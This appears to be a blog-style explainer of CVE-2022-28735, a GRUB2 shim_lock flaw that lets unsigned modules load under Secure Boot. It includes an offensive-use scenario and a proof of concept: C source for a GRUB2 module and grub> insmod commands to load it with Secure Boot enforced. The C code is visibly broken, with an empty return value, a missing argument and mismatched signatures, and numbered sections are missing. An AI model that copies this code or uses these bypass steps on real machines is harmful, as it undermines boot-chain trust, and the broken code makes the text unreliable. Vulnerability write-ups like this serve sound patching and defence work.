CVE-2022-28735 - Breaking Secure Boot Trust with GRUB2's shim_lock Verifier (Explained + Exploit Example)

Secure Boot is a key security feature on modern PCs that stops bad code from running too early in the boot process. But what if a tiny mistake let this protection fall apart?

That’s exactly what happened in CVE-2022-28735. This vulnerability, found in the way GRUB2’s shim_lock verifier works, can let an attacker load shady modules or files—even on systems that use Secure Boot with Microsoft’s standard “shim” loader. In this long read, we’ll break down what happened, how the bug works, and demonstrate a proof-of-concept exploit to help you spot and fix unsafe setups.

[References](#refs)

1. Background: Secure Boot & GRUB2

Secure Boot is designed to keep systems safe by making sure only trusted OS loaders and kernel files run during boot. On most Linux PCs shipped with Secure Boot, the Microsoft-signed shim, combined with GRUB2, bridge the secure boot gap for Linux.

shim: A small signed bootloader. Loads and verifies GRUB2.

- GRUB2: Loads kernels/modules. In Secure Boot mode, it should only load signed and verified files, thanks to something called the shim_lock verifier.

The expectation is simple: If Secure Boot is enabled, nothing untrusted gets loaded.


2. Vulnerability Deep Dive: CVE-2022-28735

But there was a problem, detailed at Red Hat CVE page:

In some configs, shim_lock allows loading non-kernel files—even if Secure Boot is 100% enabled and working. This breaks the Secure Boot trust-chain.

What’s the Issue?

- shim_lock should block *all* unsigned or untrusted modules/files.

Under the hood, it actually sometimes checks only file *types*.

- If you slip in a non-kernel or *unsupported* file type, GRUB2 lets it load without a real Secure Boot signature check.

This allows an attacker to pop arbitrary modules, breaking the core promise of Secure Boot.

Scenario: Offensive Use

Imagine you want to patch the kernel or grab secrets early in boot. With this flaw, you don’t need to defeat Secure Boot or have valid signatures:

Your code runs before Linux boots.

4. Proof-of-Concept: Exploit Demo

Let’s see a basic exploit showing the flaw. *(Don't use this for bad stuff—it's just for education and defense!)*

Step 1: Write a Simple GRUB2 Module

Create a very basic module (C code) that prints a message.

// Filename: hello.c
#include <grub/types.h>
#include <grub/dl.h>
#include <grub/command.h>

static grub_err_t myhello_cmd(grub_extcmd_context_t ctxt, int argc, char **args)
{
    grub_printf("Exploit: Hello from unsigned module!\n");
    return ;
}

GRUB_MOD_INIT(hello)
{
    grub_register_command("myhello", myhello_cmd, , "Print hello from exploit");
}

GRUB_MOD_FINI(hello)
{
    grub_unregister_command("myhello");
}

*Build it using the same configure options as your GRUB2 install, so module format matches.*

Boot into your target's GRUB2 command line (ensure Secure Boot is on), then

# Place hello.mod on boot media
grub> insmod (hd,gpt1)/yourpath/hello.mod
grub> myhello
# Should print: "Exploit: Hello from unsigned module!"

Result: Your unsigned module loads—even with Secure Boot enforced. That’s the flaw.


- Update your GRUB2 and shim: Distributions have fixed this in patched versions

- See Ubuntu USN-5578-1
   - Red Hat advisory

Check your Secure Boot path: Only load signed and verified modules.

- Restrict physical/local access: This kind of bug is mostly usable with console (or evil USB boot) access.


6. References & Further Reading

- CVE Database: CVE-2022-28735
- Red Hat: RHSA-2022:7055 Security Advisory
- Ubuntu: Security Notice USN-5578-1
- GRUB2 Official
- Shim project GitHub

Summary

CVE-2022-28735 reveals a subtle design flaw in GRUB2’s Secure Boot implementation via the shim_lock verifier. Attackers can easily load untrusted modules and files even when you expect Secure Boot to protect you. The fix is simple—update and watch for any similar flaws in your trusted bootloader stack.

Timeline

Published on: 07/20/2023 01:15:00 UTC
Last modified on: 08/25/2023 23:15:00 UTC